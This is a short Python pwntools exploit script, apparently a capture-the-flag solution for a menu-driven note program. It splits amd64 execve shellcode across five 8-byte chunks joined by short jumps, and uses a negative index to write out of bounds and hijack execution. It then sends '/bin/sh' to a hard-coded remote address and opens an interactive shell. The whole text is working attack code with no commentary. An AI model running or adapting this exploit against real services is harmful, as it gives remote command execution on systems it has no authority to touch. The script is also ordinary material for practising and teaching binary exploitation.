from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

def create(p,index,size,content):
    p.sendlineafter("your choice>> ","1")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(p,index):
    p.sendlineafter("your choice>> ","4")
    p.sendlineafter("index:",str(index))

p = remote("111.198.29.45",34191)
#p = process("./1")

ASM = []
ASM.append(asm("xor rax,rax") + b"\x90\x90\xeb\x19")
ASM.append(asm("mov eax,0x3b") + b"\xeb\x19")
ASM.append(asm("xor rsi,rsi") + b"\x90\x90\xeb\x19")
ASM.append(asm("xor rdx,rdx") + b"\x90\x90\xeb\x19")
ASM.append(asm("syscall") + b"\x90\x90\x90\x90\x90")

for i in range(0,5):
    create(p,i,8,ASM[i])
delete(p,0)
create(p,-8,8,ASM[0])
p.sendlineafter("your choice>> ","/bin/sh")

p.interactive()